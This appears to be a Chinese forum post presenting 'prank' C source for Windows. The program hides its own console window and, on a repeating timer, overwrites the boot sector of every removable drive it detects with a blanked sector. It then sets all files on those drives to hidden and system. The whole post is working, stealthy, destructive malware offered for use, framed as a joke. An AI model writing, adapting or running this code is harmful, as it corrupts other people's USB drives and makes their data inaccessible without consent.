整人代码,定时检测所有可移动磁盘,若有,修改MBR。下次插入时可使无法读取分区~解决方案是用DiskGenuis等软件恢复MBR。可以自定义时间段~别整太过……有一个缺点,就是U盘被改之后,下一次程序扫描时发现这个设备还会修改MBR.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
unsigned int g_TimeList[][2] = {1, 10000000};
unsigned char g_MBR[512];
int IsOperateTime(void)
{
SYSTEMTIME SystemTime;
unsigned int i = 0;
unsigned int count = sizeof(g_TimeList) / sizeof(unsigned int) / 2;
unsigned int TimeNow = 0;
return 1;
GetLocalTime(&SystemTime);
TimeNow = SystemTime.wHour * 60 + SystemTime.wMinute;
for (; i < count; i++)
{
if (TimeNow >= g_TimeList[i][0]
&& TimeNow <= g_TimeList[i][1])
{
return 1; // 当前时间在事件列表内
}
}
return 0;
}
int ScanUSB(unsigned char Volumes[], unsigned short MaxVolumes)
{
char Volume = 'A';
char Buffer[200], *p = Buffer;
unsigned int Count = 0;
GetLogicalDriveStrings(52, Buffer);
while (*p != '\0')
{
if (GetDriveType(p) == DRIVE_REMOVABLE)
{
Volumes[Count++] = *p;
}
p += strlen(p) + 1;
}
return Count;
}
int AlterMbr(unsigned char Volume)
{
HANDLE hVolume = INVALID_HANDLE_VALUE;
char VolumeName[10];
unsigned long ReadLen = 0; // 已写入大小
BOOL IsSuccess = FALSE;
if (Volume != '\0')
{
sprintf_s(VolumeName, 10, "\\\\.\\%c:", Volume);
hVolume = CreateFile(VolumeName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
IsSuccess = WriteFile(hVolume, g_MBR, 512, &ReadLen, NULL);
if (IsSuccess && ReadLen == 512)
{
return 0;
}
}
}
return 1;
}
void HideAllFiles(unsigned char Volume)
{
char Buf[50];
if (Volume != '\0')
{
sprintf_s(Buf, 50, "attrib +s +h %c:\\*", Volume);
system(Buf);
}
}
int main()
{
MSG Msg;
unsigned char USBList[26];
SetConsoleTitle("Cpp1 - test - 20140907");
ShowWindow(FindWindow("ConsoleWindowClass", "Cpp1 - test - 20140907"), SW_HIDE);
memset(&Msg, 0, sizeof(MSG));
memset(g_MBR, 0, 512);
g_MBR[510] = 0x55;
g_MBR[511] = 0xAA;
if (SetTimer(NULL, 0x01, 1500, NULL) == 0)
{
MessageBox(NULL, "定时器创建失败。", "错误", MB_OK);
ExitProcess(1);
}
while (GetMessage(&Msg, NULL, 0, 0))
{
switch (Msg.message)
{
case WM_TIMER:
{
if (IsOperateTime() == 1)
{
unsigned int USBCount = 0;
memset(USBList, 0, 26);
if ((USBCount = ScanUSB(USBList, 26)) != 0)
{
for (unsigned int i = 0; i < USBCount; i++)
{
AlterMbr(USBList[i]);
HideAllFiles(USBList[i]);
}
}
}
break;
}
default:
{
break;
}
}
}
return 0;
}